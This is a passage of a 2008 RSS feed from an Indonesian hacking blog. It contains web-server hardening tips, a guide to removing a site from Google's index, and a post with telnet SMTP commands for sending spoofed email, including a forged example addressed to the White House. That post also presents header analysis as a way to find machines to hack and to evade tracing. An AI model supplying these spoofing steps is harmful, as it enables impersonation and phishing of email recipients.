<p>Pertama kali sebagaimanayang telah saya jelaskan sebelumnya dalam amnual mereka  mengenai permisi direktori dan bagaimana cara mereka tereksploitasi, selalu merupakkan sebuah ide yang bagus untuk  mengorganisasi webroot anda dengan direktori yang sesuai. Maksud saya direktori untuk images, HTML, dan content statis lainnya. Permisi dari direktori harsu dilakukan secara minimum tanpa scripting atau execution permission sebagaimana halnya HTML dan images statis lainnya yang tidak memerlukan permisi. Malkonfigurasi dalam point ini tampilan ini seringkali membuat seorang attacker dengan mudahnya menyisipkan malicious code dalam file index.html yang dihasilkan dalam pengarahan website.</p>
<p>Secara teratur (kalau bisa setiap hari) kunjungi website dari web server perusahaan anda dan bacalah mengenai vulnerability dan solusi dari vulnerability tersebut. Seharusnya terbetik pada pikiran anda bahwa seluruh software dapat dieksploitasi (pendapat saya dapat dipertimbangkan) jadi jika web server anda vulnerable yang tidak dimaksudkan bahwa anda harus mengubah web server anda.</p>
<p>Download dan install patch yang sesuai dan tersedia dari official site web server anda dan secara teratur melakukan patch web server dan sistem operasi anda untuk mengetahui celah keamanannya. Kunjungi website seperti http://securityfocus.com untuk menjaga diri anda agar mengetahui vulnerability terakhir dan solusi yang berhubungan dengan hal tersebut.</p>
<p>Periksa sistem anda pada celah keamanan yang terbuka. Port scan sistem anda secara teratur dan periksa port yang terbuka. Juga periksa vulnerability yang terkait dengan port tersebut dan install patch yang sesuai. Cobalah melakukan hosting website melalui sebuah proxy. Gunakan halaman berbasiskan database dengan tujuan mengamankan halaman anad (terutama index.html) dari penyisipan malicious script. Malicious script dapat di sisipkan dengan banyak cara. Tidak hanya melalui URL tapi juga dapat disisipkan melalui telnet.</p>
<p>Terakhir, saya ingin mengatakan satu hal yang merupakan pandangan menyeluruh saya. Saya kira sebuah website tidak 100% aman hanya dengan membaca buku dan mendapatkan pelatihan profesional. Terkecuali bila anda mengetahui metode para cracker dan hacker yang anda tidak mampu melindungi website anda. Anda perlu mengetahui bagaima cara cracker berpikir sebelum mulai menyusup ke dalam sistem. Anda dapat dengan mudah melindungis sistem anda dariscript kiddies yang hanyamelakukan scan sistem terhadap celah keamanan yang ada. Namun melindung sistem anda dari hacker atau cracker yang hanya satu orang dan hanya satu target hingga berhasil adalah sangat sukar. Hingga anda mengetahui bagaimana mereka berpikir dan apa yang menjadi pendekatan atau metode mereka, sangat sukra untuk memproteksi website anda dari orang-orang seperti ini.</p>
<p>Jika anda menggunakan Linux atau varian *nix lainnya, tidak berarti bahwa sistem anda aman secara keseluruhan. Linux dianggap lebih aman karena windows selalu menjadi target serangan para hacker! setidaknya untuk beberapa tahun. (Menurut saya) keamanan website anda tidak tergantung hanya sistem operasi yang dijalankan. Tergantung konfigurasi dan manajemen inteligensi dari sistem adna tersebut.</p>
<p>Jalankan service minimum sebagai kebutuhan. Cobalah menutup layanan yant tidak diperlukan. JIka sistem anda menggunakan atau memberikan share pada internal network maka gunakan hardware/packet level firewall.</p>
<p>Oki doki, sampai disini saja manual saya.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/18/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/18/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/18/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=18&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/seluk-beluk-mendefaced-by-klept0s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
		<item>
		<title>Solusi Atasi Google Hack</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/solusi-atasi-google-hack/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/solusi-atasi-google-hack/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 12:12:35 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/solusi-atasi-google-hack/</guid>
		<description><![CDATA[Setelah membaca dan memahami artikel sebelumnya yang berjudul &#8220;Ragam Hacking Menggunakan Google&#8221;, berikut ini saya sertakan pula solusinya. Sebagian orang merasa ngeri terhadap properti indeks yang dimiliki Google terhadap situs mereka. Yang lainnya tidak ingin Google bot apapun ada disekitar mereka. Jika anda gagal pada kategori terakhir dan bot tersebut telah melakukan hal buruk, ada [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=16&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-16"></span>Setelah membaca dan memahami artikel sebelumnya yang berjudul &#8220;Ragam Hacking Menggunakan Google&#8221;, berikut ini saya sertakan pula solusinya.</p>
<p>Sebagian orang merasa ngeri terhadap properti indeks yang dimiliki Google terhadap situs mereka. Yang lainnya tidak ingin Google bot apapun ada disekitar mereka. Jika anda gagal pada kategori terakhir dan bot tersebut telah melakukan hal buruk, ada beberapa hal yang dapat anda lakukan untuk menghapus materal anda dari pengindeksan Google. Yaitu properti Web search Google, Google Images, dan Google Group yang memiliki metodologi tersendiri.</p>
<p>Apa yang Harus Saya Lakukan Terhadap Aksi Google Crawler?</p>
<p>Lihat dan Baca Website www.google.com itu sendiri. Karena dari situlah semuanya berasal. Pihak Google, telah menyediakan beberapa solusi terhadap masalah yang diakibatkan oleh mesin pencari mereka.</p>
<p>Web Search Google</p>
<p>Berikut ini beberapa tip untuk menghindari terdaftarnya situs anda.</p>
<p>Pastikan halaman anda tidak di urutan pertama</p>
<p>Ketika anda mengambil langkah untuk menghapus content anda dari Google index , selalu lebih mudah untuk memastikan content tersebut tidak pernah ditemukan dan diindeks pada tempat pertama. Google Crawler mematuhi &#8220;robot exclusion protocol&#8221;, sejumlah isntruksi yang anda taruh di website yang memberitahukan crawler cara memperlakukannya sat menjumpai content anda. Anda dapat mengimplementasikan instruksi ini dengan dua cara: melalui META tag yang anda taruh pada setiap halaman (ditangani saat anda ingin membatasi akses hanya ke jenis halaman tertentu dari content) atau melalui file robots.txt yang anda sisipkan pada root directory (yang ditangani saat anda ingin memblok beberapa spider secara penuh dan ingin membatasi akses ke berbagai direktori content). Anda bisa mendapatkan informasi lebih lanjut mengenai &#8220;robots exclusion protocol&#8221; dan cara mengimplementasikannya pada situs http://www.robotstxt.org/</p>
<p>Menghapus Halaman Anda setelah di indeks</p>
<p>Ada beberapa hal yang dapat anda hapus dari hasil pencarian Google.</p>
<p>TIP<br />
Instruksi ini adalah untuk menjaga agar situs anda keluar dari pengindeksan Google. Untuk menjadikan situs anda keluar dari sebagian besar mesin pencari, anda harus bekerja dengan robots exclusion protocol.</p>
<p>Menghapus Seluruh Situs</p>
<p>Gunakan robots exclusion protocol, gunakan robots.txt</p>
<p>Menghapus Halaman Tertentu</p>
<p>Gunakan META tag berikut ini pada bagian HEAD pada setiaphalaman yang ingin anda hapus:</p>
<p>Menghapus Snippet</p>
<p>Snippet merupakan beberapa kutipan pada suatu halaman ditampilkan Google pada halaman pencariannya yang ingin anda cegah snippetnya.</p>
<p>Menghapus Halaman yang Di cache</p>
<p>Untuk mencegah Google melakukan cache versi halaman anda pada indeksnya, gunakan META tag berikut ini pada bagian HEAD disetiap halaman yang ingin anda cegah cache-nya:</p>
<p>Menghapus Content itu Sekarang</p>
<p>Saat anda mengimplementasikan perubahan, Google akan menghapus ataumembatasi content anda menurut META tag dan file robots.txt disaat berikut website anda dicrawl, biasanya dalam beberapa minggu. Namun jika anda ingin material anda dihapus segera, anda dapat menggunakan automatic remover pada http://services.google.com:8882/urlconsole/controller. Anda harus sign-in pada sebuah account (seluruh account meminta email-address dan password). Dengan remover tersebut, anda bisa meminta Google crawl memperbarui file robots.txt anda, atau anda bisa memasukan URL pada suatu halaman yang berisikan META tag.</p>
<p>TIP<br />
Pastikan anda memiliki tag exclusion yang seluruhnya diset sebelum anda menggunakan service ini. Mencari ke seluruh yang didapatkan oleh Google pada suatu file robot.txt atau exclusion rule yang masih belum anda set up, hanya akan membuang-buang waktu anda.</p>
<p>Melaporkan Halaman dengan content yang tidak layak</p>
<p>Mungkin anda menyukai content yang baik, namun anda mungkin menemukan bahwa jika anda memiliki filterisasi yang telah diaktifkan yang anda dapati pada hasil pencarian dengan content yang eksplisit. Atau mungkin anda menemukan sebuah situs dengan tag title yang menyesatkan dan content yang tidak ada hubungannya pada pencarian anda. Anda memiliki dua alternatif untuk melaporkan situs ini kepada Google. Dan ada kemungkinan Google tidak menjamin bahwa mereka akan menghapus situs tersebut dari indeksnya, namun mereka akan menyelidikinya. Dibawah setiap halaman dari hasil pencarian, anda akan melihat link &#8220;Help Us Improve&#8221;; yang membawa pada sebuah form untuk melaporkan situs yang tidak layak. Anda juga bisa mengirimkan URL dari situs tertentu menampilkan sebuah SafeSearch yang seharusnya ditujukan ke safesearch@google.com. Jika anda memiliki keluhan mengenai suatu hasil pencarian, anda dapat mengirimkan email ke search-quality@google.com</p>
<p>Google Images</p>
<p>Database material dari Google Images terpisah dari indeks pencari utama. Untuk menghapus item dari Google Images, anda harus menggunakan robots.txt untuk menentukan bahwa Google bot Images Crawler menjauh dari situs anda. Tambahkan baris ini pada file robots.txt anda.</p>
<p>User-agent: Googlebot-Image<br />
Disallow: /</p>
<p>Anda bisa menggunakan Automatic remover yang disebutkan diatas untuk memastikan Google menghapus image tersebut dari database indeksnya dengan segera.</p>
<p>Pada beberapa kasus dimana seseorang menaruh image pada server mereka yang merupakan hak cipta anda. Dengan kata lain, anda tidak ingin memiliki akses apapun ke server mereka untuk menambahkan sebuah file robots.txt, namun anda perlu menghentikan pengindeksan Google pada content anda. Dalam kasus ini anda harus menghubungi Google secara langsung. Google memiliki instruksi untuk situasi seperti ini pada situs http://www.google.com/remove.html; lihat opsi 2, &#8220;If you do not have any access to the server that hosts your image.&#8221;</p>
<p>Menghapus Material Dari Google Groups</p>
<p>Seperti halnya Google Web Index, anda memiliki dua opsi yaitu: mencegah material anda diarsip pada Google dan menghapusnya setelah itu.</p>
<p>Mencegah Material Anda di Arsip</p>
<p>Untuk mencegah material web anda diarsip oleh Google, tambahkan baris berikut ke header pada psot Usenet anda:</p>
<p>X-No-Archive: yes</p>
<p>Jika anda tidak memiliki opsi untuk mengedit header pada post anda, buatlah baris tersebut pada baris pertama pada post anda sendiri.</p>
<p>Menghapus Material sesudahnya</p>
<p>Jika anda ingin material dihapus sesudahnya, anda memiliki dua alternatif:</p>
<p>1) Jika material yang ingin anda hapus dipost pada sebuah alamat dimana anda masih memiliki akses, anda dapat menggunakan automatic remover.</p>
<p>2)Jika material yang ingin anda hapus dipost pada alamat dimana anda tidak memiliki akses, anda kirim email ke groups-support@google.com disertai informasi berikut:</p>
<p>- Nama lengkap dan informasi kontak, termasuk e-mail address untuk verifikasi.<br />
- Melengkapi URL Google Groups atau message ID pada setiap pesan yang ingin anda hapus.<br />
- Pernyataan yang menyatakan bahwa &#8220;Saya bersumpah atas nama hukum perdata atau pidana bahwa saya adalah orang yang memposting setiap message berikut ini (atau saya diberi kewenangan) untuk meminta penghapusan oleh orang yang memposting pesan tersebut.&#8221; (I swear under penalty of civil or criminal laws that I am the person who posted each of the foregoing messages or am authorized to request removal by the person who posted those messages)<br />
- Tanda-tangan elektronik anda.</p>
<p>Menghapus Daftar Anda dari Google Phonebook</p>
<p>Anda mungkin tidak berharap memiliki informasi kontak yang tersedia melalui pencarian phonebook pada Google. Anda harus mematuhi salah satu dari dua prosedur, tergantung apakah daftar yang ingin anda hapus tersebut untuk kepentingan bisnis atau kepentingan pribadi.</p>
<p>Jika anda ingin menghapus nomor telepon bisnis anda, anda harus mengirim permohonan untuk kop surat bisnis anda ke:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Google PhoneBook Removal</p>
<p>2400 Bayshore Parkway</p>
<p>Mountain View, CA 94043<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Anda juga harus menyertakan nomor telepon dimana Google dapat menjangkau anda untuk verifikasi permohonan anda.</p>
<p>Jika anda ingin menghapus nomor telepon pribadi, sangat mudah. Anda harus mengisi formulir pada http://www.google.com/help/pbremoval.html. Formulir tersebut menanyakan nama, kota/negara, nomor telepon, email-address, dan alasan penghapusan, sebuah pilihan ganda yang berisi: kesalahan nomor, masalah pribadi, atau lainnya</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/16/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/16/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=16&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/solusi-atasi-google-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
		<item>
		<title>Teknik Mengirim Email Palsu</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/teknik-mengirim-email-palsu/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/teknik-mengirim-email-palsu/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 12:04:44 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/teknik-mengirim-email-palsu/</guid>
		<description><![CDATA[Jalankan Telnet ke suatu mail server pada port 25 (biasanya ada pada suatu ISP, seperti BTInternet kemudian tambahkan mail.btinternet.com). Saat ini, server yang berbeda akan menjalankan program mail yang berbeda &#8211; jadi bagaimana anda mengetahui adanya SendMail? saat anda melakukan telnet ke mail server mungkin saja disebutkan &#8216;Sendmail&#8217; atau berupa nomor seperti &#8217;8.8.3/8.6.9&#8242; yang merupakan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=15&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-15"></span>Jalankan Telnet ke suatu mail server pada port 25 (biasanya ada pada suatu ISP, seperti BTInternet kemudian tambahkan mail.btinternet.com). Saat ini, server yang berbeda akan menjalankan program mail yang berbeda &#8211; jadi bagaimana anda mengetahui adanya SendMail? saat anda melakukan telnet ke mail server mungkin saja disebutkan &#8216;Sendmail&#8217; atau berupa nomor seperti &#8217;8.8.3/8.6.9&#8242; yang merupakan petunjuk adanya service Sendmail. Saat terhubung ke suatu mail server, jika ada sendmail &#8211; ketiklah perintah berikut ini (akan berbeda pada beberapa versi):</p>
<p>Helo &lt;hostname palsu&gt;</p>
<p>Mail from: &lt;alamat yang anda ingin terlihat dari seseorang, misalnya hacker@jasakom.com&gt;</p>
<p>Rcpt to: &lt;Penerima email&gt;</p>
<p>Data</p>
<p>&lt;Pesan anda ke penerima (recipient)&gt;</p>
<p>. (titik tunggal)</p>
<p>Jika tidak ada SendMail maka syntax-nya akan berbeda, namun sepanjang baris yang sama. Berikut ini contoh yang mungkin dapat anda ketikkan:</p>
<p>helo aol.com</p>
<p>mailfrom: hacker@jasakom.com</p>
<p>rcpt to: billclinton@whitehouse.gov</p>
<p>data</p>
<p>Lagi ngetes cara mengirim imel palsu nich</p>
<p>.</p>
<p>Apakah hal ini dapat dilacak? Hmm.. Rata-rata user internet kewalahan dan kebingungan jika mereka menerima suatu email dari alamat mereka sendiri, misalnya dengan pesan &#8220;Email dari Anda untuk Anda!.. dan mereka tidak memiliki ide cara melacaknya. Namun beberapa orang dengan keterampilan yang tepat dapat melacak darimana email tersebut berasal. Mereka dapat membaca email header. Header merupakan bit ekstra yang datang bersama email yang anda tidak dapat melihat defaultnya (meskipun ada opsi pada program email anda untuk menswitch &#8220;Show All Headers&#8221; atau &#8220;View Source of Email&#8221;). Artinya, saat mengirimkan email palsu, IP address anda ikut terlampir bersamanya (IP address lagi nih!). Kirimkan suatu email palsu ke diri anda sendiri dan lihat apakah anda dapat menemukan ip address anda dalam header tersebut?</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Apakah yang dimaksud dengan Email Header?</p>
<p>Header adalah bit ekstra yang datang bersama suatu email yang secara default tidak terlihat (meskipun pada program email anda terdapat opsi &#8220;Show All Header&#8221; atau &#8220;View Source of Email&#8221;). Berikut ini suatu contoh sebuah email (seluruh nama server yang asli yang telah dihapus dan diganti dengan yang palsu):</p>
<p>Return-Path: &lt;wang@fubar.org&gt;</p>
<p>Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net</p>
<p>(InterMail v4.01.01.02 201-229-111-106) with SMTP</p>
<p>id &lt;19990730093810.ECQX20505.mta2-svc@fubar.org&gt;</p>
<p>for &lt;Git@dodgy.net&gt;; Fri, 30 Jul 1999 10:38:10 +0100</p>
<p>Received: med fubar.org via smail vid stdio</p>
<p>Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)</p>
<p>From: Wang &lt;wang@fubar.org&gt;</p>
<p>To: Git@dodgy.net</p>
<p>Subject: Wang is here</p>
<p>Message-ID: &lt;Pine.LNX.4.10.9907300442090.28581-100000@fubar.org&gt;</p>
<p>MIME-Version: 1.0</p>
<p>Content-Type: TEXT/PLAIN; charset=US-ASCII</p>
<p>X-Mozilla-Status: 8001</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Apa yang dapat dilakukan dengan email header?</p>
<p>Baiklah, sekarang analisa dari apa yang dihasilkan! Pertama, mengapa anda ingin mengetahui arti dari header? ada beberapa alasan yang perlu anda ketahui:</p>
<p>1&gt; Memberikan anda nama komputer yang dapat anda eksplorasi dan &#8230; hack.</p>
<p>2&gt; Pernah beberapa spam mail dikirim kepada anda dengan meload iklan, bahkan ingin mengetahui yang melakukan bom email ke anda? langkah pertama untuk mengetahui bagaimana cara menandai email palsu dan menandai orang yang melakukan kejahatan ini adalah anda harus memapu membaca header.</p>
<p>3&gt; Mempelajari bagaimana anda dapat memalsukan email dan menghindari pelacakan.</p>
<p>4&gt; Mencari kelemahan dari komputer lawan anda dengan membaca headernya.</p>
<p>Berikut ini contoh dari suatu email:</p>
<p>Return-Path: &lt;wang@fubar.org&gt;</p>
<p>Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net</p>
<p>(InterMail v4.01.01.02 201-229-111-106) with SMTP</p>
<p>id &lt;19990730093810.ECQX20505.mta2-svc@fubar.org&gt;</p>
<p>for &lt;Git@dodgy.net&gt;; Fri, 30 Jul 1999 10:38:10 +0100</p>
<p>Received: med fubar.org via smail vid stdio</p>
<p>Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)</p>
<p>From: Wang &lt;wang@fubar.org&gt;</p>
<p>To: Git@dodgy.net</p>
<p>Subject: Wang is here</p>
<p>Message-Id: &lt;Pine.LNX.199907300442.13156@fubar.org&gt;</p>
<p>MIME-Version: 1.0</p>
<p>Content-Type: TEXT/PLAIN; charset=US-ASCII</p>
<p>Lets go through that previous email one section at a time:</p>
<p>Return-Path: &lt;wang@fubar.org&gt;</p>
<p>Berikut ini adalah alamat yang akan digunakan jika anda mengclick &#8216;reply&#8217; pada program email anda.</p>
<p>Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net</p>
<p>(InterMail v4.01.01.02 201-229-111-106) with SMTP</p>
<p>id &lt;19990730093810.ECQX20505.mta2-svc@fubar.org&gt;</p>
<p>for &lt;Git@dodgy.net&gt;; Fri, 30 Jul 1999 10:38:10 +0100</p>
<p>Hal ini memberitahukan kita bahwa fubar.org (dengan IP addres 57.11.151.287) yang dilalui mail ini menuju komputer yang bernama mta2-svc.dodgy.net yang menjalankan program email InterMail dengan SMTP (Simple Mail Transfer Protocol). Maka kita dapat melihat bahwa email ini dikirim ke Git@dodgy.net dan kemudian memiliki informasi tanggal dan jam. Jadi pada dasarnya inilah bagian dari nama header computer yang terlibat dalam proses transfer mail, program terkati dan alamat target.</p>
<p>Received: med fubar.org via smail vid stdio</p>
<p>OK, jadi header ini tidak selalu tepat setiap hari, saya tidak yakin, maksud bagian ini, namun saya mengambil kesimpulan bahwa hal ini memberitahukan bahwa email tersebut telah diterima dari fubar.org, dan bagian kedua dari program tersebut yang menjalankannya. Smail bisa berupa SendMail, anda akan menguji bahwa koneksi ke server pada port 25 dan melihat apa yang terjadi.</p>
<p>Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)</p>
<p>From: Wang &lt;wang@fubar.org&gt;</p>
<p>To: Git@dodgy.net</p>
<p>Subject: Wang ada disini</p>
<p>Beris berikut ini akan menjelaskan identitas penulis email.</p>
<p>Message-Id: &lt;Pine.LNX.199907300442.13156@fubar.org&gt;</p>
<p>Bagian pertama dari Message-ID mengatakan &#8216;Pine&#8217;. Pine merupakan sebuah program email untuk Sistem Operasi *nix (Pine singkatan dari Pine is not Elm). Jadi kita dapat menyimpulkan bahwa orang yang mengirim message ini menggunakan sistem operasi *nix atau meload shell account dengan Pine (ini memang benar). Bagian kedua dari ID adalah 19990730 &#8211; tanggal (30/07/99). Bagian berikutnya adalah jam, 0442 &#8211; 04:42. 13156 merupakan angka yang mengidentifikasi siapa yang menulis email tersebut.</p>
<p>MIME-Version: 1.0</p>
<p>Content-Type: TEXT/PLAIN; charset=US-ASCII</p>
<p>Mime (Multipurpose Internet Mail Extensions) adalan protokol untuk melihat email.</p>
<p>Karakter diset &#8220;US-ASCII&#8221; memberitahukan kita apakah karakter yang mengeset email ini akan digunakan. Beberapa email menggunakan ISO-ASCII sebagai gantinya, jika berada diluar wilayah USA.</p>
<p>OK, kita akan menganalisa header tersebut &#8211; Saat anda mendapatkan suatu email, periksalah ehader tersebut dan gunakan pedoman diatas. Header bisa saja berubah, jadi jangan harap anda melihat header asli saya. Bagaimanapun, kebanyakan akan menjadi sama, cobalah mendapatkan nama server dan kemudian melakukan telnet ke port 25 atau 110 (port SMTP dan POP)</p>
<p>Selamat belajar!</p>
<p>Sumber: www.security-forum.com</p>
<p>Link:</p>
<p>Fake Mailer : http://www.soft32.com/download_12188.html</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/15/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/15/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/15/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=15&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/teknik-mengirim-email-palsu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
		<item>
		<title>Cerita Tentang Defacer By kLept0&#8242;s</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/cerita-tentang-defacer-by-klept0s/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/cerita-tentang-defacer-by-klept0s/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 12:01:59 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/cerita-tentang-defacer-by-klept0s/</guid>
